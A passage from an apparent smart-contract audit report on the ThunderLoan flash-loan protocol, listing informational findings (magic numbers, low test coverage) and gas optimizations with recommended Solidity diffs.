Numbers like `3e15` (the starting fee) and `1e18` (the precision) should be named constants.

Risk

- **Impact:** Informational — easier to read and easier to audit when numbers have names.
- **Likelihood:** N/A.

Recommended Mitigation

```
+uint256 private constant INITIAL_FLASH_LOAN_FEE = 3e15; // 0.3%
+uint256 private constant FEE_PRECISION_INITIAL  = 1e18;

 function initialize(address tswapAddress) external initializer {
     ...
-    s_feePrecision  = 1e18;
-    s_flashLoanFee  = 3e15; // 0.3% ETH fee
+    s_feePrecision  = FEE_PRECISION_INITIAL;
+    s_flashLoanFee  = INITIAL_FLASH_LOAN_FEE;
 }
```

I-04 Poor test coverage

Files: `test/`

Description

The current test suite covers about half of the code. Branch coverage is very low. The upgraded contract is almost completely untested.

```
| File                                        | % Lines          | % Statements    | % Branches
| % Funcs        |
| src/protocol/AssetToken.sol                 | 80.77% (21/26)   | 80.00% (16/20)  | 0.00% (0/3)
| 88.89% (8/9)   |
| src/protocol/OracleUpgradeable.sol          | 90.91% (10/11)   | 100.00% (9/9)   | 100.00% (0/0)
| 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol                | 81.18% (69/85)   | 82.93% (68/82)  | 18.18% (2/11)
| 88.24% (15/17) |
| src/upgradedProtocol/ThunderLoanUpgraded.sol | 4.88%  (4/82)    | 2.50%  (2/80)   | 0.00%  (0/11)
| 12.50% (2/16)  |
| Total                                       | 50.98% (104/204) | 49.74% (95/191) | 8.00%  (2/25)
| 61.70% (29/47) |
```

Recommended Mitigation

Improve test coverage to **at least 90% lines and 90% branches** for every file in `src/`.

Gas

G-01 `s_feePrecision` is set once and never changed — make it `constant`

File: `src/protocol/ThunderLoan.sol`

Description

```
@> uint256 private s_feePrecision;     // written once in initialize, never again

function initialize(address tswapAddress) external initializer {
    ...
@>  s_feePrecision = 1e18;             // only write
    s_flashLoanFee = 3e15;
}
```

`s_feePrecision` is set to `1e18` in `initialize` and never changes after that. Making it a `constant` (like `ThunderLoanUpgraded` already does) saves gas and frees up the storage slot.

Risk

- **Impact:** Gas — saves one storage read on every fee calculation.

- **Likelihood:** N/A.

Recommended Mitigation

This is the same change that caused **H-01**. When you do the migration, leave a placeholder variable in the old slot to keep the storage layout the same. See the H-01 mitigation for the layout diff.

```
-uint256 private s_feePrecision;
+uint256 public constant FEE_PRECISION = 1e18;

 function initialize(address tswapAddress) external initializer {
     ...
-    s_feePrecision = 1e18;
     s_flashLoanFee = 3e15;
 }

 function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
-    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
-    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION;
+    fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
 }
```

G-02 `revertIfNotAllowedToken` reads storage that the caller already reads

File: `src/protocol/ThunderLoan.sol`

Description

```
function deposit(IERC20 token, uint256 amount)
    external
    revertIfZero(amount)
@>  revertIfNotAllowedToken(token)               // reads s_tokenToAssetToken[token] (1st SLOAD)
{
@>  AssetToken assetToken = s_tokenToAssetToken[token];  // reads it again (2nd SLOAD)
    ...
}
```

`revertIfNotAllowedToken(token)` calls `isAllowedToken(token)`, which reads `s_tokenToAssetToken[token]`. Then the first line inside `deposit`, `redeem`, and `flashloan` reads the same mapping again. Combine the check and the read into one.

Risk

- **Impact:** Gas — one extra storage read on every `deposit`, `redeem`, and `flashloan` call.
- **Likelihood:** N/A.

Recommended Mitigation

```
-modifier revertIfNotAllowedToken(IERC20 token) {
-    if (!isAllowedToken(token)) {
-        revert ThunderLoan__NotAllowedToken(token);
-    }
-    _;
-}

-function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
        revertIfNotAllowedToken(token) {
-    AssetToken assetToken = s_tokenToAssetToken[token];
+function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) {
+    AssetToken assetToken = s_tokenToAssetToken[token];
+    if (address(assetToken) == address(0)) revert ThunderLoan__NotAllowedToken(token);
     ...
 }
```